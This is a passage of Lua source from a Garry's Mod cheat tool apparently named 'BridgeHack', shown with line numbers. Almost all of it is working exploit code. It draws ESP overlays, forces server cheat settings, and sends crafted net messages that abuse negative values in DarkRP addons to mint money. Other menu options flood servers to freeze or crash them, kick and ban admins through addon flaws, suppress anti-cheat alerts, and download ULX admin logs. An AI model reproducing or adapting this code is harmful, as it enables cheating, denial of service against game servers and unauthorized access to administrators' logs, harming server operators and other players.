1003draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1004
1005 if GetConVarNumber("bh_esp_rank") > 0 then
1006draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1007 end
1008
1009 if GetConVarNumber("bh_esp_hp") > 0 then
1010 local infocolor = Color(255,0,255)
1011draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1012 end
1013
1014 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1015 local min, max = v:WorldSpaceAABB()
1016
1017 min, max = min:ToScreen(), max:ToScreen()
1018
1019 local h = (min.y / 2) - (max.y / 2)
1020surface.SetDrawColor(col.g, col.b, col.r)
1021
1022 if GetConVarNumber("bh_esp_box") > 0 then
1023surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1024surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1025surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1026 end end
1027 else
1028
1029 local PlayerESP = (v:EyePos()):ToScreen()
1030 local infocolor = Color(0,255,0)
1031 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1032draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1033
1034 if GetConVarNumber("bh_esp_rank") > 0 then
1035draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1036 end
1037
1038 if GetConVarNumber("bh_esp_hp") > 0 then
1039 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1040draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1041 end
1042
1043 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1044
1045 local min, max = v:WorldSpaceAABB()
1046 min, max = min:ToScreen(), max:ToScreen()
1047 local h = (min.y / 2) - (max.y / 2)
1048
1049surface.SetDrawColor(col.g, col.b, col.r)
1050
1051 if GetConVarNumber("bh_esp_box") > 0 then
1052surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1053surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1054surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1055 end end end end end end)
1056
1057function blur_on()
1058DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1059end
1060
1061function blur_off()
1062DrawMaterialOverlay( "", 0.1 )
1063end
1064
1065concommand.Add("+bh_menu", function( ply )
1066status("Menu Opened.")
1067 if GetConVarNumber("bh_menu_effects") == 1 then
1068hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1069 end
1070--[[
1071mainmenu
1072
1073
1074THE MAIN
1075
1076
1077MENU
1078
1079
1080
1081STARTS
1082
1083
1084
1085HERE
1086
1087 |
1088V
1089]]--
1090local menu = DermaMenu()
1091menu:Center()
1092menu:AddOption( "BridgeHack "..dlversion, function()
1093AboutMenu()
1094end ):SetImage( "icon16/shield.png" )
1095menu:AddSpacer()
1096function menu:Paint( w, h )
1097draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
1098draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
1099surface.SetDrawColor( 0,0,0 )
1100surface.DrawOutlinedRect( 0, 0, w, h)
1101end
1102local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
1103
1104ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
1105ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
1106status("Forced SV_ALLOWCSLUA TO 1")
1107end):SetImage( "icon16/link_error.png" )
1108
1109ForcingMenu:AddOption( "Force sv_cheats 1", function()
1110ply:ConCommand("incrementvar sv_cheats 0 1 1")
1111status("Forced SV_CHEATS TO 1")
1112end):SetImage( "icon16/link_error.png" )
1113
1114local ESP = menu:AddSubMenu("ESP")
1115
1116ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
1117ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
1118
1119local Speed = menu:AddSubMenu("Speed")
1120Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
1121Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
1122
1123
1124local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
1125NameStealSub:AddOption( "[ON] Name Steal", function()
1126ply:ConCommand("bh_namesteal_on")
1127end ):SetImage( "icon16/book_addresses.png" )
1128
1129NameStealSub:AddOption( "[OFF] Name Steal", function()
1130status("Stopped Script: Random Name Change [name steal]")
1131ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
1132
1133local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
1134
1135MoneyExploits:AddOption("[$$] Drug Sell",function()
1136 for i=1,1000 do
1137net.Start("Kun_SellDrug")
1138net.WriteString("Meth")
1139net.SendToServer()
1140 end end):SetImage( "icon16/coins_add.png" )
1141
1142MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
1143chatp("Giving money")
1144net.Start("Taxi_Add")
1145net.WriteString("MLG")
1146net.WriteTable({-1333.647461, -1473.931763, -139.968750})
1147net.WriteFloat(-99999999)
1148net.WriteString(Desc)
1149net.SendToServer()
1150 end):SetImage( "icon16/coins_add.png" )
1151
1152MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
1153chatP("Attempting to give money..")
1154 for k,v in pairs(ents.GetAll()) do
1155swag = v
1156 end
1157net.Start( 'NET_SS_DoBuyTakeoff' )
1158net.WriteEntity(LocalPlayer())
1159net.WriteEntity(swag)
1160net.WriteTable({'spawned_weapon'})
1161net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
1162net.SendToServer()
1163 end):SetImage( "icon16/coins_add.png" )
1164
1165MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
1166chatP("Attempting to give money..")
1167net.Start( "DaHit" )
1168net.WriteFloat( -1000000000000000000000 )
1169 --net.WriteFloat( tm )
1170net.WriteEntity( LocalPlayer() )
1171net.WriteEntity( LocalPlayer() )
1172net.WriteEntity( LocalPlayer() )
1173net.SendToServer()
1174 end):SetImage( "icon16/coins_add.png" )
1175
1176MoneyExploits:AddOption( "[$$] HHH MONEY",function()
1177 local ply = LocalPlayer()
1178 for k,v in pairs(player.GetAll()) do
1179dahater = v
1180 end
1181
1182 local hitRequest = {}
1183hitRequest.hitman = ply
1184hitRequest.requester = ply
1185hitRequest.target = dahater
1186hitRequest.reward = 100000000
1187
1188net.Start( 'hhh_request' )
1189net.WriteTable( hitRequest )
1190net.SendToServer()
1191
1192 end):SetImage( "icon16/coins_add.png" )
1193
1194MoneyExploits:AddOption("[$$] BOONPC",function()
1195net.Start('BuyCar')
1196net.WriteFloat(-1000000000000)
1197net.WriteEntity(LocalPlayer())
1198net.WriteString("BridgeHack")
1199net.WriteString("BridgeHack")
1200net.WriteString("BridgeHack")
1201net.SendToServer()
1202 end):SetImage( "icon16/coins_add.png" )
1203
1204MoneyExploits:AddOption("[$$] Hitman X Menu",function()
1205 local frame = vgui.Create( "DFrame" )
1206frame:Center()
1207frame:SetSize( 200,150 )
1208frame:SetTitle( "" )
1209frame:MakePopup()
1210frame:ShowCloseButton( false )
1211 function frame:Paint( w, h )
1212draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1213draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1214draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1215 end
1216
1217 local playerMenu = vgui.Create( "DComboBox", frame )
1218playerMenu:SetPos( 10,40 )
1219playerMenu:SetSize( 120,20 )
1220playerMenu:SetText( "Select a Player")
1221 for k, v in pairs( player.GetAll() ) do
1222playerMenu:AddChoice( tostring( v:Name() ) )
1223playerMenu:SetTextColor(color_black)
1224 end
1225
1226 local Button = vgui.Create("DButton", frame)
1227Button:SetPos( 180, 2 )
1228Button:SetSize( 20, 20 )
1229Button:SetText( "" )
1230 function Button:Paint( w, h )
1231draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1232 end
1233Button.DoClick = function()
1234frame:Close()
1235 end
1236
1237 local SpamHit = vgui.Create("DButton", frame )
1238SpamHit:SetPos( 20,70 )
1239SpamHit:SetSize( 150,20 )
1240SpamHit:SetText( "Get Money" )
1241SpamHit:SetTextColor( Color(0,0,0) )
1242SpamHit.DoClick = function()
1243 local v = playerMenu:GetText()
1244net.Start( "SendMoney" )
1245net.WriteEntity( v )
1246net.WriteEntity( v )
1247net.WriteEntity( v )
1248net.WriteString( "-100000000000000000000000000000000000000000" )
1249net.SendToServer()
1250 end
1251
1252 local CrashButton = vgui.Create("DButton", frame )
1253CrashButton:SetPos( 20,90 )
1254CrashButton:SetSize( 150,20 )
1255CrashButton:SetText( "Crash Server" )
1256CrashButton:SetTextColor( Color(0,0,0) )
1257CrashButton.DoClick = function()
1258 for i=0, 10 do
1259ply:ConCommand("bh_hitmanxcrash")
1260 end
1261 end
1262
1263 local InfaButton = vgui.Create("DButton", frame )
1264InfaButton:SetPos( 20,110 )
1265InfaButton:SetSize( 150,20 )
1266InfaButton:SetText( "Infinite Money For Everyone" )
1267InfaButton:SetTextColor( Color(0,0,0) )
1268InfaButton.DoClick = function()
1269ply:ConCommand("bh_hitmanxinfa")
1270 end
1271 end):SetImage( "icon16/application_form.png" )
1272
1273MoneyExploits:AddOption( "[$$] HITMENU",function()
1274 local HitPanel = vgui.Create( "DFrame" )
1275HitPanel:SetPos( ScrW()/5, ScrH()/10 )
1276HitPanel:SetSize( 300, 200 )
1277HitPanel:SetTitle( " " )
1278HitPanel:SetVisible( true )
1279HitPanel:SetDraggable( true )
1280HitPanel:ShowCloseButton( false )
1281HitPanel:MakePopup()
1282 function HitPanel:Paint( w, h )
1283draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
1284draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1285draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1286 end
1287
1288 local Button = vgui.Create("DButton", HitPanel)
1289Button:SetPos( 250, 0 )
1290Button:SetSize( 50, 25 )
1291Button:SetText( "" )
1292 function Button:Paint( w, h )
1293draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1294draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1295 end
1296Button.DoClick = function()
1297HitPanel:Close()
1298 end
1299
1300 local HitButton = vgui.Create("DButton", HitPanel)
1301HitButton:SetPos( 140, 100 )
1302HitButton:SetSize( 100, 20 )
1303HitButton:SetText( "Get Money" )
1304HitButton:SetTextColor( Color(255,255,255) )
1305 function HitButton:Paint( w, h )
1306draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1307 end
1308HitButton.DoClick = function()
1309ply:ConCommand("bh_hithack")
1310 end
1311
1312 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
1313HitSlider:SetPos( 20, 50 )
1314HitSlider:SetSize( 300, 40 )
1315HitSlider:SetText( "Money Ammount" )
1316HitSlider:SetMin( 0 )
1317HitSlider:SetMax( 1000000000 )
1318HitSlider:SetDecimals( 0 )
1319HitSlider:SetConVar( "bh_hitmenuammount" )
1320
1321 end):SetImage( "icon16/coins_add.png" )
1322
1323MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
1324ply:ConCommand("bh_3dcardealer_spamstore")
1325 end):SetImage( "icon16/coins_add.png" )
1326
1327MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
1328chatP("Attempting to give money..")
1329 for i=0,30 do
1330 for i=1,10 do
1331net.Start( "AttemptSellCar" )
1332net.WriteInt( i, 8 )
1333net.SendToServer()
1334 end
1335 end
1336 end):SetImage( "icon16/coins_add.png" )
1337
1338MoneyExploits:AddOption( "[$$] BAILNPC",function()
1339chatP("Attempting to give money..")
1340net.Start( "BailOut" )
1341net.WriteEntity( ply )
1342net.WriteEntity( ply )
1343net.WriteFloat( -10000000000000)
1344net.SendToServer()
1345 end):SetImage( "icon16/coins_add.png" )
1346
1347MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
1348 local DermaPanel = vgui.Create( "DFrame" )
1349DermaPanel:SetPos( 100, 100 )
1350DermaPanel:SetSize( 300, 200 )
1351DermaPanel:SetTitle( " " )
1352DermaPanel:SetVisible( true )
1353DermaPanel:SetDraggable( true )
1354DermaPanel:ShowCloseButton( true )
1355 function DermaPanel:Paint( w, h )
1356draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
1357draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1358draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1359 end
1360DermaPanel:MakePopup()
1361
1362 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
1363TextEntry:SetPos( 75, 30 )
1364TextEntry:SetSize( 150, 25 )
1365TextEntry:SetText( "Account num(Including the -!)" )
1366
1367 local BBDButton = vgui.Create( "DButton",DermaPanel )
1368BBDButton:SetPos( 10, 120 )
1369BBDButton:SetText( "Give Money" )
1370BBDButton:SetTextColor( Color(255,255,255) )
1371BBDButton:SetSize( 280, 75 )
1372 function BBDButton:Paint( w, h )
1373draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
1374 end
1375BBDButton.DoClick = function()
1376 local accnumber = TextEntry:GetValue()
1377 local moneytogive = GetConVarNumber("bh_ratm_money2give")
1378chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
1379net.Start("ATM_DepositMoney_C2S")
1380net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
1381net.SendToServer()
1382 end
1383
1384 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1385RenderDistance:SetPos( 10, 50)
1386RenderDistance:SetSize( 275, 25 )
1387RenderDistance:SetText( "Money to give" )
1388RenderDistance:SetMin( 0 )
1389RenderDistance:SetMax( 500000 )
1390RenderDistance:SetDecimals( 0 )
1391RenderDistance:SetConVar( "bh_ratm_money2give" )
1392 end):SetImage("icon16/coins_add.png")
1393
1394MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
1395chatP("Giving money..")
1396 for k,v in pairs(ents.GetAll()) do
1397status("Attempting to make fine")
1398net.Start("TOW_SubmitWarning")
1399net.WriteString(LocalPlayer():SteamID())
1400net.WriteDouble(-100000000000)
1401net.WriteEntity(v)
1402net.SendToServer()
1403
1404net.Start("TOW_PayTheFine")
1405net.WriteEntity(v)
1406net.SendToServer()
1407 end
1408 end):SetImage( "icon16/coins_add.png" )
1409
1410local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
1411
1412DARKRPBASEDSUB:AddOption("[Watch Dogs] EMP",function()
1413ply:ConCommand("bh_emp")
1414 end):SetImage( "icon16/cross.png" )
1415
1416DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
1417ply:ConCommand("bh_dlogs_lag")
1418 end):SetImage( "icon16/table_error.png" )
1419
1420DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
1421ply:ConCommand("bh_dlogs_lag_off")
1422 end):SetImage( "icon16/table_add.png" )
1423
1424DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
1425 local ply = LocalPlayer()
1426
1427 local frame = vgui.Create( "DFrame" )
1428frame:Center()
1429frame:SetSize( 200,150 )
1430frame:SetTitle( "" )
1431frame:MakePopup()
1432frame:ShowCloseButton( false )
1433 function frame:Paint( w, h )
1434draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1435draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1436draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1437 end
1438
1439 local playerMenu = vgui.Create( "DComboBox", frame )
1440playerMenu:SetPos( 10,40 )
1441playerMenu:SetSize( 120,20 )
1442playerMenu:SetText( "Select a Player")
1443 for k, v in pairs( player.GetAll() ) do
1444playerMenu:AddChoice( tostring( v:Name() ) )
1445 end
1446
1447 local SpamHit = vgui.Create("DButton", frame )
1448SpamHit:SetPos( 50,70 )
1449SpamHit:SetSize( 100,20 )
1450SpamHit:SetText( "Place Dem Hits" )
1451SpamHit:SetTextColor( Color(0,0,0) )
1452SpamHit.DoClick = function()
1453 local v = playerMenu:GetText()
1454 for i=0, 4 do
1455ply:ConCommand('addhit "'..v..'" 500')
1456 end
1457 end
1458
1459 local CrashButton = vgui.Create("DButton", frame )
1460CrashButton:SetPos( 50,110 )
1461CrashButton:SetSize( 100,20 )
1462CrashButton:SetText( "Crash Server" )
1463CrashButton:SetTextColor( Color(0,0,0) )
1464CrashButton.DoClick = function()
1465chatP("Hitmanmenu got rekt!")
1466consoleP("Hitmanmenu got rekt")
1467 for i=0, 10 do
1468ply:ConCommand("bh_hitmancrash")
1469 end
1470 end
1471
1472 local Button = vgui.Create("DButton", frame)
1473Button:SetPos( 170, 0 )
1474Button:SetSize( 30, 20 )
1475Button:SetText( "Close" )
1476Button:SetTextColor( Color( 255, 255, 255) )
1477 function Button:Paint( w, h )
1478draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
1479 end
1480Button.DoClick = function()
1481frame:Close()
1482 end
1483
1484 local label = vgui.Create( "DLabel", frame )
1485label:SetPos( 10,20 )
1486label:SetSize( 120,20 )
1487label:SetTextColor( Color(0,0,0) )
1488label:SetText( "Select Player:" )
1489 end):SetImage("icon16/accept.png")
1490
1491DARKRPBASEDSUB:AddOption("TP Spawn",function()
1492ply:ConCommand("bh_tp_spawn")
1493 end):SetImage( "icon16/cake.png" )
1494
1495DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
1496ply:ConCommand("bh_advert 1")
1497 end):SetImage( "icon16/bell_add.png" )
1498
1499DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
1500ply:ConCommand("bh_advert 0")
1501 end):SetImage( "icon16/bell_delete.png" )
1502
1503DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
1504timer.Simple(0.1,function()
1505chatP("(This can be binded to: bh_removelookingat)")
1506ply:ConCommand("bh_removelookingat")
1507 end)
1508 end):SetImage("icon16/map_delete.png")
1509
1510DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
1511ply:ConCommand("bh_kun_ziptie_untie")
1512 end):SetImage( "icon16/cut.png" )
1513
1514DARKRPBASEDSUB:AddOption( "Open Armory", function()
1515chatP("Opening armory..")
1516ARMORY_WeaponMenu()
1517 end):SetImage( "icon16/bomb.png" )
1518
1519DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
1520ply:ConCommand("___darkrpshipments")
1521 end):SetImage( "icon16/cut_red.png" )
1522
1523DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
1524timer.Create("lollol3294385", 0.2, 0, function( )
1525 for k,v in pairs(player.GetAll()) do
1526 local ligger_type = math.random(1,13)
1527 local ligger_type1 = math.random(1,13)
1528status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
1529 if ligger_type1 == ligger_type then
1530 if last_ply == v:Nick() then
1531 local ligger_type = math.random(1,13)
1532 local ligger_type1 = math.random(1,13)
1533 else
1534ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
1535 end
1536
1537 local last_ply = v:Nick()
1538 local ligger_type = math.random(1,13)
1539 local ligger_type1 = math.random(1,13)
1540status("Force Wanting: " .. v:Nick())
1541 end
1542 end
1543 end)
1544 end):SetImage( "icon16/cross.png" )
1545
1546DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
1547timer.Destroy("lollol3294385")
1548status("Stopped Want All Police")
1549 end):SetImage( "icon16/tick.png" )
1550
1551DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
1552ply:ConCommand("__bh_lagdarkrpdashit")
1553 end):SetImage( "icon16/accept.png" )
1554
1555DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
1556ply:ConCommand("__bh_stopplag")
1557 end):SetImage( "icon16/cancel.png" )
1558
1559 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
1560SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
1561ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1562ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1563status("Spoofed Physgun And Player Color.")
1564 end):SetImage( "icon16/color_wheel.png" )
1565
1566 local exploitshacks = menu:AddSubMenu("Exploits")
1567
1568exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
1569chatP("Bypassing Apanti..")
1570net.Receive("sMsgStandard", function()
1571 print("#Bypassed by HaxRUs")
1572 end)
1573
1574net.Receive("sNotifyHit", function()
1575
1576 end)
1577
1578net.Receive("sMsgAdmins", function()
1579
1580 end)
1581
1582net.Receive("sAlertNotice", function()
1583
1584 end)
1585 end):SetImage( "icon16/link_break.png" )
1586
1587exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
1588ply:ConCommand("bh_nlr_freeze 1")
1589 end):SetImage( "icon16/book_error.png" )
1590
1591exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
1592ply:ConCommand("bh_nlr_freeze 0")
1593 end):SetImage( "icon16/book.png" )
1594
1595exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
1596status("Downloading ULX LOGS")
1597 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
1598consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
1599 else
1600RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
1601chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
1602timer.Simple( 15, function()
1603chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
1604consoleP("**********************")
1605consoleP("** SUCCESS ULX DUMP **")
1606consoleP("**********************")
1607 end)
1608 end
1609 end ):SetImage( "icon16/lock_break.png" )
1610
1611exploitshacks:AddOption("[AE] KICK ADMINS+",function()
1612chatP("Kicking... (Will only work on admins+)")
1613timer.Create( "aekickdaskids", 3, 0, function()
1614 for k,v in pairs(player.GetAll()) do
1615 if( v:GetUserGroup() != "user" ) then
1616 if( v:GetUserGroup() != "vip" ) then
1617 for i=0, 700 do
1618net.Start('plyWarning')
1619net.WriteEntity(v)
1620net.WriteString('You have to select a player before doing a action.')
1621net.SendToServer()
1622 end
1623consoleP('Attempting to kick '.. v:Nick().. "!")
1624 end
1625 end
1626 end
1627 end)
1628 end):SetImage("icon16/wand.png")
1629
1630exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
1631chatP("Banning...")
1632timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
1633 for k,v in pairs(player.GetAll()) do
1634 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
1635 if v != LocalPlayer() then
1636status("Banning.. "..v:Nick())
1637net.Start("banleaver")
1638net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
1639net.SendToServer()
1640 end
1641 end
1642 end
1643 end)
1644 end):SetImage("icon16/wand.png")
1645
1646exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
1647chatP("Freezing everybody.. (Except you)")
1648timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1649 local trash = "";
1650 for i=0, 15000 do
1651trash = trash .. string.char(math.random(32, 126));
1652 end
1653
1654status("Freeze wave incoming")
1655timer.Simple(1,function()
1656status("Freeze wave done")
1657 end)
1658
1659 for i=0,3 do
1660net.Start("atlaschat.chat")
1661net.WriteString("// ".. trash)
1662net.SendToServer()
1663 end
1664 end)
1665 end):SetImage( "icon16/lock.png" )
1666
1667exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
1668chatP("Stopping the freeze..")
1669timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1670
1671 end)
1672 end):SetImage( "icon16/lock_open.png" )
1673
1674exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1675timer.Create("spamdafukFRIENDSULX", 2, 0, function()
1676 local friends = {}
1677 table.insert( friends, math.random(1,9999) )
1678 for i = 1,6000 do
1679net.Start("friendlist")
1680net.WriteTable(friends)
1681net.SendToServer()
1682 end
1683status("PROGRESS [10000/10000]")
1684 end)
1685 end ):SetImage( "icon16/script_error.png" )
1686
1687exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1688timer.Destroy("spamdafukFRIENDSULX")
1689status("Stopped ULX SPAM FRIENDS")
1690 end):SetImage( "icon16/script.png" )
1691
1692exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
1693GiveMenu()
1694 end):SetImage( "icon16/book_key.png" )
1695
1696exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
1697chatP("Kicking admins, Including anyone who isnt a user")
1698ply:ConCommand("bh_mx_kickadmins")
1699timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
1700 for k,v in ipairs(player.GetAll()) do
1701 if( v:GetUserGroup() != "user" ) then
1702 if v:Nick() != (ply:Nick()) then
1703 for i=0, 700 do
1704net.Start( "GetCar" )
1705net.WriteEntity(v)
1706net.WriteEntity(v)
1707net.SendToServer()
1708 end
1709chatP('Attempting to kick '.. v:Nick())
1710 end
1711 end
1712 end
1713 end)
1714 end):SetImage( "icon16/wand.png" )
1715
1716exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
1717chatP("Stopping the kicks")
1718timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
1719 end):SetImage( "icon16/wand.png" )
1720
1721 local Misc = menu:AddSubMenu(" Misc ")
1722
1723Misc:AddOption( "Hackable Server List",function()
1724ply:ConCommand("bh_serverlist")
1725 end):SetImage( "icon16/book.png" )
1726
1727Misc:AddOption( "Changelog",function()
1728ChangeLogMenu()
1729 end):SetImage( "icon16/book.png" )
1730
1731Misc:AddOption( "List Rank - Playername - Money",function()
1732chatP( "Check Console\n" )
1733consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
1734 for k,v in pairs(player.GetAll()) do
1735 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1736 if v:IsAdmin() then
1737consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1738 else
1739consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1740 end
1741 end
1742 end):SetImage( "icon16/text_align_center.png" )
1743
1744Misc:AddOption( "Check exploits", function()
1745ply:ConCommand("bh_check")
1746end ):SetImage( "icon16/book_addresses.png" )
1747
1748Misc:AddOption( "ClientSide Lua Viewer",function()
1749chatP("Opening clientside lua viewer...")
1750ply:ConCommand("bh_lua")
1751 end):SetImage( "icon16/application_osx_terminal.png" )
1752
1753 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:0:86044278" then
1754 local DebugMenu = menu:AddSubMenu(" Debug Settings")
1755DebugMenu:AddOption(" Reset Default Config.", function()
1756Debug("Resetting Cheat Variables...")
1757ResetCvar("bh_menu_effects", 1)
1758ResetCvar("bh_firstload_correct", 0)
1759ResetCvar("bh_chat_status",0)
1760ResetCvar("bh_cheats_enabled_on_start", 0)
1761ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
1762ResetCvar("bh_showhud", 1)
1763ResetCvar("bh_notify", 1)
1764 end)
1765
1766DebugMenu:AddOption(" Debug",function()
1767 for k,v in pairs(player.GetAll()) do
1768chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
1769 end
1770 end)
1771 end
1772
1773menu:AddSpacer()
1774
1775menu:AddOption( "Config Menu", function()
1776 local DermaPanel = vgui.Create( "DFrame" )
1777DermaPanel:SetPos( 100, 100 )
1778DermaPanel:SetSize( 300, 400 )
1779DermaPanel:SetTitle( " " )
1780DermaPanel:SetVisible( true )
